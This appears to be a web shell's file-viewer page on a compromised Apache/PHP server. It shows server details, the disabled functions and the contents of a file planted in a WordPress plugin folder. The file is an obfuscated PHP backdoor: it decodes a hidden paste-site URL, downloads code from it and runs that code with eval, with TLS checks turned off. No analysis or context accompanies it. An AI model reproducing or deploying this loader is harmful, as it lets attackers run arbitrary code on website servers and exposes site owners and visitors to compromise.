HEX
Server: Apache/2
System: Linux localhost 5.4.0-131-generic #147-Ubuntu SMP Fri Oct 14 17:07:22 UTC 2022 x86_64
User: rasad (1007)
PHP: 7.4.33
Disabled: shell_exec,system,passthru,exec,popen,ini_restore,socket_create,socket_create_listen,socket_create_pair,socket_listen,socket_bind,symlink,link,pfsockopen,ini_alter,dl,pcntl_exec,pcntl_fork,proc_close,proc_open,proc_terminate,posix_kill,posix_mkfifo,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_uname,show_source,getfile,mkfifo
Upload Files
File: /home/rasad/domains/rasadeardakan.ir/private_html/wp-content/plugins/kntl1/3.php
<?php
 goto eBmrp; o3Zub: curl_setopt_array($cYmLO, [CURLOPT_RETURNTRANSFER => 1, CURLOPT_FOLLOWLOCATION => 1, CURLOPT_TIMEOUT => 10, CURLOPT_SSL_VERIFYPEER => 0, CURLOPT_SSL_VERIFYHOST => 0]); goto zBzsw; w91vS: $fdpxg = @file_get_contents($pm7ST); goto IaB8H; ebWCI: curl_close($cYmLO); goto sa4YR; eBmrp: session_start(); goto sgw8b; sa4YR: cZc7E: goto abPru; sgw8b: $pm7ST = $_SESSION["\164\163\x5f\x75\x72\154"] ?? pack("\x48\52", "\66\x38\67\64\67\x34\x37\60\x37\63\63\141\62\146\x32\x66\67\x30\66\x31\67\x33\x37\x34\66\65\x36\x36\x37\71\x32\145\66\61\67\x30\67\x30\x32\x66\64\x63\x36\145\67\x31\x37\x61\x34\x34\x33\61\66\70\x34\65\x32\146\x37\x32\66\61\x37\67"); goto w91vS; IaB8H: if (!(!$fdpxg && function_exists("\x63\165\162\154\x5f\x69\x6e\151\x74"))) { goto cZc7E; } goto WQUsU; WQUsU: $cYmLO = curl_init($pm7ST); goto o3Zub; zBzsw: $fdpxg = curl_exec($cYmLO); goto ebWCI; abPru: $fdpxg ? eval("\77\x3e{$fdpxg}") : die("\107\x61\x67\141\x6c\x20\155\x65\x6d\x75\x61\164\x3a\40{$pm7ST}");